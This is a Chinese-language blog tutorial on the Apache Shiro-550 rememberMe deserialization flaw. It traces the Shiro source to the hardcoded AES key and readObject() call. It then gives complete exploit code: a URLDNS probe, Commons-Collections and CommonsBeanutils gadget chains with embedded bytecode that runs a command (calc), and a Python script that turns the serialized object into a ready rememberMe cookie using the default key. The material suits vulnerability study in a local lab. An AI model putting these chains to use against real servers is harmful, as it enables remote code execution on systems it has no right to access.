shiro
简介
Apache Shiro是⼀个功能强⼤且易于使⽤的Java安全框架,它⽤于处理身份验证,授权,加密和会话管理在默认情况下, Apache Shiro使⽤CookieRememberMeManager对⽤户身份进⾏序列化/反序列化,加密/解密和编码/解码,以供以后检索。
当Apache Shiro接收到未经身份验证的⽤户请求时 , 会执⾏以下操作来寻找他们被记住的身份。
- 从请求数据包中提取Cookie中rememberMe字段的值,对提取的Cookie值进⾏Base64解码
- 对Base64解码后的值进⾏AES解密
- 对解密后的字节数组调⽤
ObjectInputStream.readObject()
⽅法来反序列化。
但是默认AES加密密钥是“硬编码” 在代码中的。因此,如果服务端采⽤默认加密密钥,那么攻击者就可以构造⼀个恶意对象,并对其进⾏序列化,AES加密,Base64编码,将其作为Cookie中rememberMe字段值发送。Apache Shiro在接收到请求时会反序列化恶意对象,从⽽执⾏攻击者指定的任意代码。
shiro550 shiro <1.2.4
环境搭建
环境直接使用P神的shirodemo:https://github.com/phith0n/JavaThings/blob/master/shirodemo 下载后IDEA打开加载maven即可。
接着添加tomcat,配置如下:
调成一个没有占用的端口,这里我设置的是8081。url不用改,之后会自动修改。
然后应用,启动tomcat即可。
源码分析
首先找到web模块下org.apache.shiro.web.mgt.CookieRememberMeManager类,然后找到 getRememberedSerializedIdentity()
方法。
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
不难看出这个方法进行了base64解码。然后逆向追踪查找调用处,能够找到shiro-core模块的org.apache.shiro.mgt包的AbstractRememberMeManager类。其中有一个方法:
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
可以看到这里除了调用了getRememberedSerializedIdentity()
方法,还有一个convertBytesToPrincipals()
方法。
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
这里进入decrypt()
方法:
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
看到这里并结合简介的内容就可以知道应该是AES加密。其中getDecryptionCipherKey()
方法用于获取加密的密钥,进入其中查看:
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
查找该属性在哪里被赋值:
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}
继续查找该方法的调用,可以查到setCipherKey()
方法。
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
继续查找调用,找到了构造方法:
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
该构造方法传入了一个常量值:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
到这里密钥我们就知道了。然后回到convertBytesToPrincipals()
方法:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
刚才我们追踪的decrypt()
方法,所以现在追踪deserialize()
方法:
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}
继续跟踪getSerializer().deserialize(serializedIdentity)
发现是一个接口,那么查找实现类,找到shiro-core模块,org.apache.shiro.io包下的DefaultSerializer类,查看该类中重写的deserialize()
方法:
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
使用了readObject()
方法,故存在反序列化漏洞。
payload
- 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie⾥也没有deleteMe字段。
- 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段。
- 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
- 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
- 经过分析可知服务器会对rememberMe字段进行base64解码,然后AES解密,最后反序列化。所以payload反着来就行。
- 最后在登录时勾选RememberMe字段然后修改之后Cookie中的rememberMe字段为payload即可触发。
URLDNS检测
首先将URLDNS的payload序列化:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class study2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap map = new HashMap<>();
URL url = new URL("xxx");
Class c = url.getClass();
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
// 将hashCode设置为222,否则put将产生一次DNS解析
fieldhashcode.set(url,222);
map.put(url,"hello");
// 在序列化前将url的hashCode设置为-1,这样在反序列化时就可以调用handler的hashCode
fieldhashcode.set(url,-1);
se(map);
}
public static void se(Object obj) throws IOException, ClassNotFoundException {
FileOutputStream fileOut = new FileOutputStream("bin.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
}
然后进行AES并BASE64:
from Crypto.Cipher import AES
import base64
from Crypto.Random import get_random_bytes
def encrypt_text(key, text):
BS = AES.block_size
salt = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC,salt)
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
return base64.b64encode(salt + cipher.encrypt(pad(data)))
if __name__ == '__main__':
with open('../bin.ser','rb') as f:
data = f.read()
strEN = encrypt_text(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), data)
print('rememberMe=' + strEN.decode())
访问shirodemo_war/login.jsp页面的请求包时删除JSESSION,否则rememberMe字段不起作用。修改rememberMe字段值为payload然后到DNSLOG平台看记录即可。
CC
由于ClassUtils.forName()
方法的使用,反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。所以原来的CC链是无法利用的。回忆CC1的InvokerTransformer.transform()
是可以执行任意方法的,那么结合TemplatesImpl不就可以加载任意恶意类的字节码吗?故有payload:
public class CC11 {
public static void main(String[] args) throws Throwable {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Cristrik010");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map transformedMap = TransformedMap.decorate(hashMap, null,chainedTransformer);
transformedMap.put("xxx", "xxx");
}
static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
Field bytecodes = object.getClass().getDeclaredField(FieldName);
bytecodes.setAccessible(true);
bytecodes.set(object,data);
}
}
方便理解,有流程图如下:
回到正题,这里仍然利用了Transformer数组,可见也是无法利用的。但是回想一下CC6的TiedMapEntry调用Lazymap.get()
方法的过程:
- LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,invokerTransformer)创建Lazymap
- new TiedMapEntry(lazyMap,runtime):第一个参数传入构造好的Lazymap,第二个传入Lazymap中invokerTransformer调用方法所属的对象
这里再看一下Transformer数组:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{}),
};
数组第一个元素是invokerTransformer调用方法所属的对象,第二个是invokerTransformer。那么这个数组转换成TiedMapEntry利用不就只有一个invokerTransformer对象了吗,所以也就不用数组了。直接把CC6的payload拿来改改:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class CC11 {
public static void main(String[] args) throws Throwable {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Cristrik010");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap = new HashMap<>();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{});
// 先不传入chainedTransformer,防止put执行payload
LazyMap lazyMap =(LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
HashMap map1 = new HashMap();
map1.put(new TiedMapEntry(lazyMap,templates),"Critstrik010");
lazyMap.remove(templates);
// 反序列化前将chainedTransformer传入lazyMap。
Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,invokerTransformer);
se(map1);
}
static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
Field bytecodes = object.getClass().getDeclaredField(FieldName);
bytecodes.setAccessible(true);
bytecodes.set(object,data);
}
public static void se(Object obj) throws IOException, ClassNotFoundException {
FileOutputStream fileOut = new FileOutputStream("bin.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
}
然后进行AES和BASE64编码:
from Crypto.Cipher import AES
import base64
from Crypto.Random import get_random_bytes
def encrypt_text(key, text):
BS = AES.block_size
salt = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC,salt)
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
return base64.b64encode(salt + cipher.encrypt(pad(data)))
if __name__ == '__main__':
with open('../bin.ser','rb') as f:
data = f.read()
strEN = encrypt_text(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), data)
print('rememberMe=' + strEN.decode())
抓包修改:
成功弹出计算器。
CommonsBeanutils无依赖反序列化利用
上面CC链已经可以在shiro利用了,但是有一个问题就是项目得有commons-collections依赖,这种情况肯定不会很多。因此shiro自带的CommonsBeanutils就可以解决这个问题。
Apache Commons Beanutils提供了对普通java类对象(javaBean)的一些操作方法。在CommonsBeanutils中有BeanComparator类。这个类的compare()
方法实现了javaBean的比较:
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
这个方法调用了PropertyUtils.getProperty(o1, this.property)
,该方法让使用者可以调用o1对象this.property属性的getter()
方法。到这里就需要找哪些getter()
可以利用呢?还真有,在TemplatesImpl加载字节码:Java加载字节码 | Cristrik010 (dotfogtme.ltd)这篇文章中,newTransformer()
是加载的起点,其实向上追踪还有一个方法:getOutputProperties()
:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
这命名不就是outputProperties属性的构造方法吗?知道这些,那payload就好说了,直接调用这个getter()
方法。到写的时候才发现,怎么才能调用compare()
方法呢?于是逆向追踪哪里调用compare()
方法,找到java.util.PriorityQueue这个类的siftUpUsingComparator()
方法
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
这里comparator需要是BeanComparator对象,查找可知构造方法可以直接传入。但是private继续向上查找,找到siftUp()
仍是private
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
继续找,找到了offer()
方法
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
此时是public。那么payload基本就有了,但是要思考一个问题,追踪了半天,这条链和反序列化有什么关系呢?接着观察PriorityQueue类的readObject()
方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
重点是最后的heapify()
跟踪发现,这个方法调用了调用关系如下:
heapify()
siftDown()
siftDownUsingComparator()
comparator.compare()
siftDownUsingComparator()
和上面siftUpUsingComparator()
逻辑相似,这里不进行分析。构造payload:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Mycb {
public static void main(String[] args) throws Exception{
BeanComparator beanComparator = new BeanComparator();
// 构造方法传入 comparator
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
// 先不传入templates,因为无法比较大小会报错
priorityQueue.offer("1");
priorityQueue.offer("2");
// 反射修改this.property为outputProperties,之后会调用其getter()
setFieldValue(beanComparator,"property","outputProperties");
// 构造恶意字节码
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Cristrik010");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 反射修改上文offer()传入的参数
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
se(priorityQueue);
}
static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
Field bytecodes = object.getClass().getDeclaredField(FieldName);
bytecodes.setAccessible(true);
bytecodes.set(object,data);
}
public static void se(Object obj) throws IOException, ClassNotFoundException {
FileOutputStream fileOut = new FileOutputStream("bin.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
}
然后抓包修改参数即可。流程图如下: